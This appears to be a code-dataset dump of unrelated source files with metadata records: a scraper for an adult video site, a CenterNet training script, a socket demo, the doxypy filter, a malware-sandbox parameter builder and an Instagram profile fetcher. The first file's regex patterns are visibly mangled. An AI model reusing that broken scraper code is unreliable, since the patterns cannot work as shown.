-*-\n\nimport re\n\nfrom platformcode import config, logger\nfrom core.item import Item\nfrom core import httptools, scrapertools\n\n\nhost = 'https://www.teenpornvideos.com/'\n\n\ndef do_downloadpage(url, post=None, headers=None):\n # ~ por si viene de enlaces guardados\n ant_hosts = ['https://www.youngpornvideos.com/']\n\n for ant in ant_hosts:\n url = url.replace(ant, host)\n\n data = httptools.downloadpage(url, post=post, headers=headers).data\n return data\n\n\ndef mainlist(item):\n return mainlist_pelis(item)\n\n\ndef mainlist_pelis(item):\n logger.info()\n itemlist = []\n\n descartar_xxx = config.get_setting('descartar_xxx', default=False)\n\n if descartar_xxx: return itemlist\n\n if config.get_setting('adults_password'):\n from modules import actions\n if actions.adults_password(item) == False:\n return itemlist\n\n itemlist.append(item.clone( title = 'Buscar vídeo ...', action = 'search', search_type = 'movie', text_color = 'orange' ))\n\n itemlist.append(item.clone( title = 'Catálogo', action = 'list_all', url = host + 'videos/straight/all-popular.html' ))\n\n itemlist.append(item.clone( title = 'Últimos', action = 'list_all', url = host + 'videos/straight/all-recent.html' ))\n\n itemlist.append(item.clone( title = 'Más vistos', action = 'list_all', url = host + 'videos/straight/all-view.html' ))\n itemlist.append(item.clone( title = 'Más valorados', action = 'list_all', url = host + 'videos/straight/all-rate.html' ))\n\n itemlist.append(item.clone( title = 'Long play', action = 'list_all', url = host + 'videos/straight/all-length.html' ))\n\n itemlist.append(item.clone( title = 'Por canal', action = 'categorias', url = host + 'channels/', group = 'canales' ))\n itemlist.append(item.clone( title = 'Por categoría', action = 'categorias', url = host + 'categories/', group = 'categorias' ))\n itemlist.append(item.clone( title = 'Por estrella', action = 'pornstars', url = host + 'pornstars/' ))\n\n return itemlist\n\n\ndef categorias(item):\n logger.info()\n itemlist = []\n\n data = do_downloadpage(item.url)\n data = re.sub(r'\\n|\\r|\\t| |
', '', data)\n\n if item.group == 'canales':\n data = scrapertools.find_single_match(data, '
')\n\n matches = re.compile('
.*?href=\"(.*?)\".*?src=\"(.*?)\".*?title=.*?>(.*?)', re.DOTALL).findall(data)\n else:\n data = scrapertools.find_single_match(data, '
Community')\n\n matches = re.compile('
.*?href=\"(.*?)\".*?src=\"(.*?)\".*?title=\"(.*?)\"', re.DOTALL).findall(data)\n\n for url, thumb, title in matches:\n itemlist.append(item.clone (action='list_all', title=title, url=url, thumbnail=thumb) )\n\n if item.group == 'canales':\n return sorted(itemlist, key=lambda x: x.title)\n\n return itemlist\n\n\ndef pornstars(item):\n logger.info()\n itemlist = []\n\n data = do_downloadpage(item.url)\n data = re.sub(r'\\n|\\r|\\t| |
', '', data)\n\n data = scrapertools.find_single_match(data, '
')\n\n matches = re.compile('
', '', data)\n\n patron = '
.*?(.*?)
')\n\n if bloque:\n if '' in bloque:\n next_page = scrapertools.find_single_match(data,'.*?href=\"(.*?)\"')\n else:\n next_page = scrapertools.find_single_match(data,'\">.*? 1:\n keep_indices = soft_nms(results[j], Nt=0.5, method=2)\n results[j] = results[j][keep_indices]\n\n # Keep only best detections\n scores = np.hstack([results[j][:, 4] for j in range(1, self.num_classes + 1)])\n if len(scores) > self.test_max_per_image:\n kth = len(scores) - self.test_max_per_image\n thresh = np.partition(scores, kth)[kth]\n for j in range(1, self.num_classes + 1):\n keep_indices = results[j][:, 4] >= thresh\n results[j] = results[j][keep_indices]\n\n return image_id, results\n\n def test_epoch_end(self, detections):\n if not self.test_coco:\n return detections\n\n # Convert to COCO eval format\n # Format: imageID, x1, y1, w, h, score, class\n data = []\n for image_id, detection in detections:\n for class_index, box in detection.items():\n if box.shape[0] == 0:\n continue\n\n category_id = self.valid_ids[class_index - 1]\n category_ids = np.repeat(category_id, box.shape[0]).reshape((-1, 1))\n image_ids = np.repeat(image_id, box.shape[0]).reshape((-1, 1))\n\n box[:, 2] -= box[:, 0]\n box[:, 3] -= box[:, 1]\n\n data.append(np.hstack((image_ids, box, category_ids)))\n\n data = np.concatenate(data, axis=0)\n\n coco_detections = self.test_coco.loadRes(data)\n\n coco_eval = COCOeval(self.test_coco, coco_detections, \"bbox\")\n coco_eval.evaluate()\n coco_eval.accumulate()\n coco_eval.summarize()\n\n prefix = \"\"\n if len(self.test_scales) > 1:\n prefix += \"multi-scale_\"\n if self.test_flip:\n prefix += \"flip_\"\n\n stats = [\"ap\", \"ap_50\", \"ap_75\", \"ap_S\", \"ap_M\", \"ap_L\"]\n for num, name in enumerate(stats):\n self.log(f\"test/{prefix}{name}\", coco_eval.stats[num], sync_dist=True)\n\n\ndef cli_main():\n pl.seed_everything(5318008)\n ia.seed(107734)\n\n # ------------\n # args\n # ------------\n parser = ArgumentParser()\n parser.add_argument(\"image_root\")\n parser.add_argument(\"annotation_root\")\n\n parser.add_argument(\"--pretrained_weights_path\")\n parser.add_argument(\"--batch_size\", default=32, type=int)\n parser.add_argument(\"--num_workers\", default=8, type=int)\n parser = pl.Trainer.add_argparse_args(parser)\n parser = CenterNetDetection.add_model_specific_args(parser)\n args = parser.parse_args()\n\n # ------------\n # data\n # ------------\n train_transform = ComposeSample(\n [\n ImageAugmentation(\n iaa.Sequential([\n iaa.Resize({\"shorter-side\": \"keep-aspect-ratio\", \"longer-side\": 500}),\n iaa.Sequential([\n iaa.Fliplr(0.5),\n iaa.Sometimes(0.5, iaa.GaussianBlur(sigma=(0, 0.5))),\n iaa.LinearContrast((0.75, 1.5)),\n iaa.AdditiveGaussianNoise(\n loc=0, scale=(0.0, 0.05 * 255), per_channel=0.5\n ),\n iaa.Multiply((0.8, 1.2), per_channel=0.1),\n iaa.Affine(\n scale={\"x\": (0.6, 1.4), \"y\": (0.6, 1.4)},\n translate_percent={\n \"x\": (-0.2, 0.2),\n \"y\": (-0.2, 0.2),\n },\n rotate=(-5, 5),\n shear=(-3, 3),\n ),\n ], random_order=True),\n iaa.PadToFixedSize(width=500, height=500),\n iaa.CropToFixedSize(width=500, height=500),\n iaa.PadToFixedSize(width=512, height=512, position=\"center\"),\n ]),\n torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(CenterNetDetection.mean, CenterNetDetection.std, inplace=True),\n ]),\n ),\n CategoryIdToClass(CenterNetDetection.valid_ids),\n CenterDetectionSample(),\n ]\n )\n\n valid_transform = ComposeSample(\n [\n ImageAugmentation(\n iaa.Sequential([\n iaa.Resize({\"shorter-side\": \"keep-aspect-ratio\", \"longer-side\": 500}),\n iaa.PadToFixedSize(width=512, height=512, position=\"center\"),\n ]),\n torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(CenterNetDetection.mean, CenterNetDetection.std, inplace=True),\n ]),\n ),\n CategoryIdToClass(CenterNetDetection.valid_ids),\n CenterDetectionSample(),\n ]\n )\n\n test_transform = ImageAugmentation(img_transforms=torchvision.transforms.ToTensor())\n\n coco_train = CocoDetection(\n os.path.join(args.image_root, \"train2017\"),\n os.path.join(args.annotation_root, \"instances_train2017.json\"),\n transforms=train_transform,\n )\n\n coco_val = CocoDetection(\n os.path.join(args.image_root, \"val2017\"),\n os.path.join(args.annotation_root, \"instances_val2017.json\"),\n transforms=valid_transform,\n )\n\n coco_test = CocoDetection(\n os.path.join(args.image_root, \"val2017\"),\n os.path.join(args.annotation_root, \"instances_val2017.json\"),\n transforms=test_transform,\n )\n\n train_loader = DataLoader(\n coco_train,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n pin_memory=True,\n )\n val_loader = DataLoader(\n coco_val,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n pin_memory=True,\n )\n test_loader = DataLoader(coco_test, batch_size=1, num_workers=0, pin_memory=True)\n\n # ------------\n # model\n # ------------\n args.learning_rate_milestones = list(map(int, args.learning_rate_milestones.split(\",\")))\n model = CenterNetDetection(\n args.arch, args.learning_rate,\n args.learning_rate_milestones,\n test_coco=coco_test.coco,\n test_coco_ids=list(sorted(coco_test.coco.imgs.keys()))\n )\n if args.pretrained_weights_path:\n model.load_pretrained_weights(args.pretrained_weights_path)\n\n # ------------\n # training\n # ------------\n logger = TensorBoardLogger(\"../tb_logs\", name=f\"multi_pose_{args.arch}\")\n callbacks = [\n ModelCheckpoint(\n monitor=\"val_loss\",\n mode=\"min\",\n save_top_k=5,\n save_last=True,\n every_n_epochs=10\n ),\n LearningRateMonitor(logging_interval=\"epoch\"),\n ]\n\n trainer = pl.Trainer.from_argparse_args(\n args,\n callbacks=callbacks,\n logger=logger\n )\n trainer.fit(model, train_loader, val_loader)\n\n # ------------\n # testing\n # ------------\n trainer.test(dataloaders=test_loader)\n\n\nif __name__ == \"__main__\":\n cli_main()\n","repo_name":"tteepe/CenterNet-pytorch-lightning","sub_path":"CenterNet/centernet_detection.py","file_name":"centernet_detection.py","file_ext":"py","file_size_in_byte":14395,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"36"} +{"seq_id":"6571918451","text":"import socket\n\n\nclass Server:\n # we are connecting to the client from within the server\n def __init__(self):\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server_socket.bind(('127.0.0.1', 28000))\n self.server_socket.listen(1)\n self.conn_socket, self.client_address = self.server_socket.accept()\n\n\nclass Client:\n # we are connecting to the server from within the client\n def __init__(self):\n self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.client_socket.connect(('127.0.0.1', 28000))\n","repo_name":"enacheoctavian/python-numbers-game","sub_path":"client_server.py","file_name":"client_server.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36952547019","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\n__applicationName__ = \"doxypy\"\n__blurb__ = \"\"\"\ndoxypy is an input filter for Doxygen. It preprocesses python\nfiles so that docstrings of classes and functions are reformatted\ninto Doxygen-conform documentation blocks.\n\"\"\"\n\n__doc__ = __blurb__ + \\\n\"\"\"\nIn order to make Doxygen preprocess files through doxypy, simply\nadd the following lines to your Doxyfile:\n\tFILTER_SOURCE_FILES = YES\n\tINPUT_FILTER = \"python /path/to/doxypy.py\"\n\"\"\"\n\n__version__ = \"0.4.2\"\n__date__ = \"14th October 2009\"\n__website__ = \"http://code.foosel.org/doxypy\"\n\n__author__ = (\n\t\"Philippe 'demod' Neumann (doxypy at demod dot org)\",\n\t\"Gina 'foosel' Haeussge (gina at foosel dot net)\" \n)\n\n__licenseName__ = \"GPL v2\"\n__license__ = \"\"\"This program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\"\"\"\n\nimport sys\nimport re\n\nfrom optparse import OptionParser, OptionGroup\n\nclass FSM(object):\n\t\"\"\"Implements a finite state machine.\n\t\n\tTransitions are given as 4-tuples, consisting of an origin state, a target\n\tstate, a condition for the transition (given as a reference to a function\n\twhich gets called with a given piece of input) and a pointer to a function\n\tto be called upon the execution of the given transition. \n\t\"\"\"\n\n\t\"\"\"\n\t@var transitions holds the transitions\n\t@var current_state holds the current state\n\t@var current_input holds the current input\n\t@var current_transition hold the currently active transition\n\t\"\"\"\n\n\tdef __init__(self, start_state=None, transitions=[]):\n\t\tself.transitions = transitions\n\t\tself.current_state = start_state\n\t\tself.current_input = None\n\t\tself.current_transition = None\n\n\tdef setStartState(self, state):\n\t\tself.current_state = state\n\n\tdef addTransition(self, from_state, to_state, condition, callback):\n\t\tself.transitions.append([from_state, to_state, condition, callback])\n\n\tdef makeTransition(self, input):\n\t\t\"\"\"Makes a transition based on the given input.\n\t\t\n\t\t@param\tinput\tinput to parse by the FSM\n\t\t\"\"\"\n\t\tfor transition in self.transitions:\n\t\t\t[from_state, to_state, condition, callback] = transition\n\t\t\tif from_state == self.current_state:\n\t\t\t\tmatch = condition(input)\n\t\t\t\tif match:\n\t\t\t\t\tself.current_state = to_state\n\t\t\t\t\tself.current_input = input\n\t\t\t\t\tself.current_transition = transition\n\t\t\t\t\tif options.debug:\n\t\t\t\t\t\tprint(\"# FSM: executing (%s -> %s) for line '%s'\" % (from_state, to_state, input), file=sys.stderr)\n\t\t\t\t\tcallback(match)\n\t\t\t\t\treturn\n\nclass Doxypy(object):\n\tdef __init__(self):\n\t\tstring_prefixes = \"[uU]?[rR]?\"\n\n\t\tself.start_single_comment_re = re.compile(\"^\\s*%s(''')\" % string_prefixes)\n\t\tself.end_single_comment_re = re.compile(\"(''')\\s*$\")\n\n\t\tself.start_double_comment_re = re.compile(\"^\\s*%s(\\\"\\\"\\\")\" % string_prefixes)\n\t\tself.end_double_comment_re = re.compile(\"(\\\"\\\"\\\")\\s*$\")\n\n\t\tself.single_comment_re = re.compile(\"^\\s*%s(''').*(''')\\s*$\" % string_prefixes)\n\t\tself.double_comment_re = re.compile(\"^\\s*%s(\\\"\\\"\\\").*(\\\"\\\"\\\")\\s*$\" % string_prefixes)\n\n\t\tself.defclass_re = re.compile(\"^(\\s*)(def .+:|class .+:)\")\n\t\tself.empty_re = re.compile(\"^\\s*$\")\n\t\tself.hashline_re = re.compile(\"^\\s*#.*$\")\n\t\tself.importline_re = re.compile(\"^\\s*(import |from .+ import)\")\n\n\t\tself.multiline_defclass_start_re = re.compile(\"^(\\s*)(def|class)(\\s.*)?$\")\n\t\tself.multiline_defclass_end_re = re.compile(\":\\s*$\")\n\n\t\t## Transition list format\n\t\t# [\"FROM\", \"TO\", condition, action]\n\t\ttransitions = [\n\t\t\t### FILEHEAD\n\n\t\t\t# single line comments\n\t\t\t[\"FILEHEAD\", \"FILEHEAD\", self.single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"FILEHEAD\", \"FILEHEAD\", self.double_comment_re.search, self.appendCommentLine],\n\n\t\t\t# multiline comments\n\t\t\t[\"FILEHEAD\", \"FILEHEAD_COMMENT_SINGLE\", self.start_single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"FILEHEAD_COMMENT_SINGLE\", \"FILEHEAD\", self.end_single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"FILEHEAD_COMMENT_SINGLE\", \"FILEHEAD_COMMENT_SINGLE\", self.catchall, self.appendCommentLine],\n\t\t\t[\"FILEHEAD\", \"FILEHEAD_COMMENT_DOUBLE\", self.start_double_comment_re.search, self.appendCommentLine],\n\t\t\t[\"FILEHEAD_COMMENT_DOUBLE\", \"FILEHEAD\", self.end_double_comment_re.search, self.appendCommentLine],\n\t\t\t[\"FILEHEAD_COMMENT_DOUBLE\", \"FILEHEAD_COMMENT_DOUBLE\", self.catchall, self.appendCommentLine],\n\n\t\t\t# other lines\n\t\t\t[\"FILEHEAD\", \"FILEHEAD\", self.empty_re.search, self.appendFileheadLine],\n\t\t\t[\"FILEHEAD\", \"FILEHEAD\", self.hashline_re.search, self.appendFileheadLine],\n\t\t\t[\"FILEHEAD\", \"FILEHEAD\", self.importline_re.search, self.appendFileheadLine],\n\t\t\t[\"FILEHEAD\", \"DEFCLASS\", self.defclass_re.search, self.resetCommentSearch],\n\t\t\t[\"FILEHEAD\", \"DEFCLASS_MULTI\", self.multiline_defclass_start_re.search, self.resetCommentSearch],\t\t\t\n\t\t\t[\"FILEHEAD\", \"DEFCLASS_BODY\", self.catchall, self.appendFileheadLine],\n\n\t\t\t### DEFCLASS\n\n\t\t\t# single line comments\n\t\t\t[\"DEFCLASS\", \"DEFCLASS_BODY\", self.single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"DEFCLASS\", \"DEFCLASS_BODY\", self.double_comment_re.search, self.appendCommentLine],\n\n\t\t\t# multiline comments\n\t\t\t[\"DEFCLASS\", \"COMMENT_SINGLE\", self.start_single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"COMMENT_SINGLE\", \"DEFCLASS_BODY\", self.end_single_comment_re.search, self.appendCommentLine],\n\t\t\t[\"COMMENT_SINGLE\", \"COMMENT_SINGLE\", self.catchall, self.appendCommentLine],\n\t\t\t[\"DEFCLASS\", \"COMMENT_DOUBLE\", self.start_double_comment_re.search, self.appendCommentLine],\n\t\t\t[\"COMMENT_DOUBLE\", \"DEFCLASS_BODY\", self.end_double_comment_re.search, self.appendCommentLine],\n\t\t\t[\"COMMENT_DOUBLE\", \"COMMENT_DOUBLE\", self.catchall, self.appendCommentLine],\n\n\t\t\t# other lines\n\t\t\t[\"DEFCLASS\", \"DEFCLASS\", self.empty_re.search, self.appendDefclassLine],\n\t\t\t[\"DEFCLASS\", \"DEFCLASS\", self.defclass_re.search, self.resetCommentSearch],\n\t\t\t[\"DEFCLASS\", \"DEFCLASS_MULTI\", self.multiline_defclass_start_re.search, self.resetCommentSearch],\n\t\t\t[\"DEFCLASS\", \"DEFCLASS_BODY\", self.catchall, self.stopCommentSearch],\n\n\t\t\t### DEFCLASS_BODY\n\n\t\t\t[\"DEFCLASS_BODY\", \"DEFCLASS\", self.defclass_re.search, self.startCommentSearch],\n\t\t\t[\"DEFCLASS_BODY\", \"DEFCLASS_MULTI\", self.multiline_defclass_start_re.search, self.startCommentSearch],\n\t\t\t[\"DEFCLASS_BODY\", \"DEFCLASS_BODY\", self.catchall, self.appendNormalLine],\n\n\t\t\t### DEFCLASS_MULTI\n\t\t\t[\"DEFCLASS_MULTI\", \"DEFCLASS\", self.multiline_defclass_end_re.search, self.appendDefclassLine],\n\t\t\t[\"DEFCLASS_MULTI\", \"DEFCLASS_MULTI\", self.catchall, self.appendDefclassLine],\n\t\t]\n\n\t\tself.fsm = FSM(\"FILEHEAD\", transitions)\n\t\tself.outstream = sys.stdout\n\n\t\tself.output = []\n\t\tself.comment = []\n\t\tself.filehead = []\n\t\tself.defclass = []\n\t\tself.indent = \"\"\n\n\tdef __closeComment(self):\n\t\t\"\"\"Appends any open comment block and triggering block to the output.\"\"\"\n\n\t\tif options.autobrief:\n\t\t\tif len(self.comment) == 1 \\\n\t\t\tor (len(self.comment) > 2 and self.comment[1].strip() == ''):\n\t\t\t\tself.comment[0] = self.__docstringSummaryToBrief(self.comment[0])\n\n\t\tif self.comment:\n\t\t\tblock = self.makeCommentBlock()\n\t\t\tself.output.extend(block)\n\n\t\tif self.defclass:\n\t\t\tself.output.extend(self.defclass)\n\n\tdef __docstringSummaryToBrief(self, line):\n\t\t\"\"\"Adds \\\\brief to the docstrings summary line.\n\t\t\n\t\tA \\\\brief is prepended, provided no other doxygen command is at the\n\t\tstart of the line.\n\t\t\"\"\"\n\t\tstripped = line.strip()\n\t\tif stripped and not stripped[0] in ('@', '\\\\'):\n\t\t\treturn \"\\\\brief \" + line\n\t\telse:\n\t\t\treturn line\n\n\tdef __flushBuffer(self):\n\t\t\"\"\"Flushes the current outputbuffer to the outstream.\"\"\"\n\t\tif self.output:\n\t\t\ttry:\n\t\t\t\tif options.debug:\n\t\t\t\t\tprint(\"# OUTPUT: \", self.output, file=sys.stderr)\n\t\t\t\tprint(\"\\n\".join(self.output), file=self.outstream)\n\t\t\t\tself.outstream.flush()\n\t\t\texcept IOError:\n\t\t\t\t# Fix for FS#33. Catches \"broken pipe\" when doxygen closes \n\t\t\t\t# stdout prematurely upon usage of INPUT_FILTER, INLINE_SOURCES \n\t\t\t\t# and FILTER_SOURCE_FILES.\n\t\t\t\tpass\n\t\tself.output = []\n\n\tdef catchall(self, input):\n\t\t\"\"\"The catchall-condition, always returns true.\"\"\"\n\t\treturn True\n\n\tdef resetCommentSearch(self, match):\n\t\t\"\"\"Restarts a new comment search for a different triggering line.\n\t\t\n\t\tCloses the current commentblock and starts a new comment search.\n\t\t\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: resetCommentSearch\" , file=sys.stderr)\n\t\tself.__closeComment()\n\t\tself.startCommentSearch(match)\n\n\tdef startCommentSearch(self, match):\n\t\t\"\"\"Starts a new comment search.\n\t\t\n\t\tSaves the triggering line, resets the current comment and saves\n\t\tthe current indentation.\n\t\t\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: startCommentSearch\", file=sys.stderr)\n\t\tself.defclass = [self.fsm.current_input]\n\t\tself.comment = []\n\t\tself.indent = match.group(1)\n\n\tdef stopCommentSearch(self, match):\n\t\t\"\"\"Stops a comment search.\n\t\t\n\t\tCloses the current commentblock, resets\tthe triggering line and\n\t\tappends the current line to the output.\n\t\t\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: stopCommentSearch\" , file=sys.stderr)\n\t\tself.__closeComment()\n\n\t\tself.defclass = []\n\t\tself.output.append(self.fsm.current_input)\n\n\tdef appendFileheadLine(self, match):\n\t\t\"\"\"Appends a line in the FILEHEAD state.\n\t\t\n\t\tCloses the open comment\tblock, resets it and appends the current line.\n\t\t\"\"\" \n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: appendFileheadLine\" , file=sys.stderr)\n\t\tself.__closeComment()\n\t\tself.comment = []\n\t\tself.output.append(self.fsm.current_input)\n\n\tdef appendCommentLine(self, match):\n\t\t\"\"\"Appends a comment line.\n\t\t\n\t\tThe comment delimiter is removed from multiline start and ends as\n\t\twell as singleline comments.\n\t\t\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: appendCommentLine\" , file=sys.stderr)\n\t\t(from_state, to_state, condition, callback) = self.fsm.current_transition\n\n\t\t# single line comment\n\t\tif (from_state == \"DEFCLASS\" and to_state == \"DEFCLASS_BODY\") \\\n\t\tor (from_state == \"FILEHEAD\" and to_state == \"FILEHEAD\"):\n\t\t\t# remove comment delimiter from begin and end of the line\n\t\t\tactiveCommentDelim = match.group(1)\n\t\t\tline = self.fsm.current_input\n\t\t\tself.comment.append(line[line.find(activeCommentDelim)+len(activeCommentDelim):line.rfind(activeCommentDelim)])\n\n\t\t\tif (to_state == \"DEFCLASS_BODY\"):\n\t\t\t\tself.__closeComment()\n\t\t\t\tself.defclass = []\n\t\t# multiline start\n\t\telif from_state == \"DEFCLASS\" or from_state == \"FILEHEAD\":\n\t\t\t# remove comment delimiter from begin of the line\n\t\t\tactiveCommentDelim = match.group(1)\n\t\t\tline = self.fsm.current_input\n\t\t\tself.comment.append(line[line.find(activeCommentDelim)+len(activeCommentDelim):])\n\t\t# multiline end\n\t\telif to_state == \"DEFCLASS_BODY\" or to_state == \"FILEHEAD\":\n\t\t\t# remove comment delimiter from end of the line\n\t\t\tactiveCommentDelim = match.group(1)\n\t\t\tline = self.fsm.current_input\n\t\t\tself.comment.append(line[0:line.rfind(activeCommentDelim)])\n\t\t\tif (to_state == \"DEFCLASS_BODY\"):\n\t\t\t\tself.__closeComment()\n\t\t\t\tself.defclass = []\n\t\t# in multiline comment\n\t\telse:\n\t\t\t# just append the comment line\n\t\t\tself.comment.append(self.fsm.current_input)\n\n\tdef appendNormalLine(self, match):\n\t\t\"\"\"Appends a line to the output.\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: appendNormalLine\" , file=sys.stderr)\n\t\tself.output.append(self.fsm.current_input)\n\n\tdef appendDefclassLine(self, match):\n\t\t\"\"\"Appends a line to the triggering block.\"\"\"\n\t\tif options.debug:\n\t\t\tprint(\"# CALLBACK: appendDefclassLine\" , file=sys.stderr)\n\t\tself.defclass.append(self.fsm.current_input)\n\n\tdef makeCommentBlock(self):\n\t\t\"\"\"Indents the current comment block with respect to the current\n\t\tindentation level.\n\n\t\t@returns a list of indented comment lines\n\t\t\"\"\"\n\t\tdoxyStart = \"##\"\n\t\tcommentLines = self.comment\n\n\t\tcommentLines = map(lambda x: \"%s# %s\" % (self.indent, x), commentLines)\n\t\tl = [self.indent + doxyStart]\n\t\tl.extend(commentLines)\n\n\t\treturn l\n\n\tdef parse(self, input):\n\t\t\"\"\"Parses a python file given as input string and returns the doxygen-\n\t\tcompatible representation.\n\t\t\n\t\t@param\tinput\tthe python code to parse\n\t\t@returns the modified python code\n\t\t\"\"\" \n\t\tlines = input.split(\"\\n\")\n\n\t\tfor line in lines:\n\t\t\tself.fsm.makeTransition(line)\n\n\t\tif self.fsm.current_state == \"DEFCLASS\":\n\t\t\tself.__closeComment()\n\n\t\treturn \"\\n\".join(self.output)\n\n\tdef parseFile(self, filename):\n\t\t\"\"\"Parses a python file given as input string and returns the doxygen-\n\t\tcompatible representation.\n\t\t\n\t\t@param\tinput\tthe python code to parse\n\t\t@returns the modified python code\n\t\t\"\"\" \n\t\tf = open(filename, 'r')\n\n\t\tfor line in f:\n\t\t\tself.parseLine(line.rstrip('\\r\\n'))\n\t\tif self.fsm.current_state == \"DEFCLASS\":\n\t\t\tself.__closeComment()\n\t\t\tself.__flushBuffer()\n\t\tf.close()\n\n\tdef parseLine(self, line):\n\t\t\"\"\"Parse one line of python and flush the resulting output to the \n\t\toutstream.\n\t\t\n\t\t@param\tline\tthe python code line to parse\n\t\t\"\"\"\n\t\tself.fsm.makeTransition(line)\n\t\tself.__flushBuffer()\n\ndef optParse():\n\t\"\"\"Parses commandline options.\"\"\"\n\tparser = OptionParser(prog=__applicationName__, version=\"%prog \" + __version__)\n\n\tparser.set_usage(\"%prog [options] filename\")\n\tparser.add_option(\"--autobrief\",\n\t\taction=\"store_true\", dest=\"autobrief\",\n\t\thelp=\"use the docstring summary line as \\\\brief description\"\n\t)\n\tparser.add_option(\"--debug\",\n\t\taction=\"store_true\", dest=\"debug\",\n\t\thelp=\"enable debug output on stderr\"\n\t)\n\n\t## parse options\n\tglobal options\n\t(options, filename) = parser.parse_args()\n\n\tif not filename:\n\t\tprint(\"No filename given.\", file=sys.stderr)\n\t\tsys.exit(-1)\n\n\treturn filename[0]\n\ndef main():\n\t\"\"\"Starts the parser on the file given by the filename as the first \n\targument on the commandline.\n\t\"\"\"\n\tfilename = optParse()\n\tfsm = Doxypy()\n\tfsm.parseFile(filename)\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"mongodb/mongo","sub_path":"src/third_party/wiredtiger/src/docs/tools/doxypy.py","file_name":"doxypy.py","file_ext":"py","file_size_in_byte":14003,"program_lang":"python","lang":"en","doc_type":"code","stars":24670,"dataset":"github-code","pt":"36"} +{"seq_id":"26273394966","text":"#!/opt/python27/bin/python\r\n#coding:utf-8\r\n\r\n\r\nimport json\r\nimport random\r\nimport time\r\n\r\nimport config\r\nfrom ..FileOperateModule.fileinfo import fileinfo\r\n \r\ndef get_unbreed_param(form, file_info_obj):\r\n '''get the condition and param when choose dynamic analysis\r\n '''\r\n kwargs = config.kwargs\r\n precedure = {\"node_list\": [\"PREP\",\"PROC\",\"SCAN\"]}\r\n if form.has_key('MISSION'):\r\n precedure['node_list'].append(\"AUTO\")\r\n else:\r\n kwargs[\"SOURCEINFO\"][\"TREATMENT\"][\"AUTO\"] = {}\r\n\r\n condition = {\r\n 'person_id': form[\"person_id\"], 'username': form[\"username\"], \\\r\n 'file_name': file_info_obj.get_name(), 'file_size': file_info_obj.get_len(),\\\r\n 'file_type' : file_info_obj.get_type(), 'sample_md5': file_info_obj.get_md5(),\\\r\n 'sample_crc32': file_info_obj.get_crc32(), 'sha256': file_info_obj.get_sha256(),\\\r\n 'sha1': file_info_obj.get_sha1(), 'task_deploy': json.dumps(precedure), 'note': json.dumps(kwargs)\r\n }\r\n \r\n return kwargs, condition\r\n\r\ndef get_breed_param(file_info_obj, breed_time):\r\n '''get the param for artificial breeding operation \r\n '''\r\n test = config.test\r\n \r\n md5 = file_info_obj.get_md5()\r\n crc32 = file_info_obj.get_crc32()\r\n hash = md5 +'.'+ crc32\r\n\r\n test[\"task\"] = hash\r\n test['kwargs']['FILEINFO']['SHA1'] = file_info_obj.get_sha1()\r\n test['kwargs']['FILEINFO']['NAME'] = hash\r\n test['kwargs']['FILEINFO']['FILE_LOCATION']= config.file_location+ hash\r\n\r\n # produce a random fo the batch_id\r\n rand_nums = ''.join([str(random.randint(1,10)) for i in range(6)])\r\n test['kwargs']['FILEINFO']['BATCH_ID'] = time.strftime('%Y%m%d_%H%M%S',\\\r\n time.localtime(time.time()))+\"_\"+rand_nums+'_auto'\r\n \r\n test['kwargs']['FILEINFO']['CRC32']= file_info_obj.get_crc32()\r\n test['kwargs']['FILEINFO']['MD5']= file_info_obj.get_md5()\r\n test['kwargs']['FILEINFO']['SIZE']= file_info_obj.get_len()\r\n\r\n #setting the breeding time\r\n test['kwargs']['SOURCEINFO']['TREATMENT']['AUTO']['MISSION']['MAX_TIME']= int(breed_time)\r\n \r\n condition = {'kwargs': json.dumps(test)}\r\n\r\n return condition, test['kwargs']['FILEINFO']['BATCH_ID']","repo_name":"TideSec/TDScanner","sub_path":"TDScanner/myapp/app/Config/get_param.py","file_name":"get_param.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"36"} +{"seq_id":"13424663769","text":"import argparse\nimport instaloader\nimport json\nfrom .loader import context\n\n\ndef get_profile(user_id, as_json=False):\n \"\"\"Get user profile as json format.\n\n Args:\n user_id (str): Instagram user_id.\n as_json (bool): json (True), dict (False)\n\n Returns:\n str: json formatted user profile\n\n Examples:\n >>> get_profile('target_username')\n '{\"userid\": 123456, \"username\": \"target_username\",...}'\n\n \"\"\"\n profile = instaloader.Profile.from_username(context(), user_id)\n profile_dict = {\n 'userid': profile.userid,\n 'username': profile.username,\n 'full_name': profile.full_name,\n 'is_verified': profile.is_verified,\n 'biography': profile.biography,\n 'followees': profile.followees,\n 'followers': profile.followers,\n 'mediacount': profile.mediacount\n }\n if as_json:\n return json.dumps(profile_dict)\n else:\n return profile_dict\n\n\nif __name__ == '__main__':\n parser = 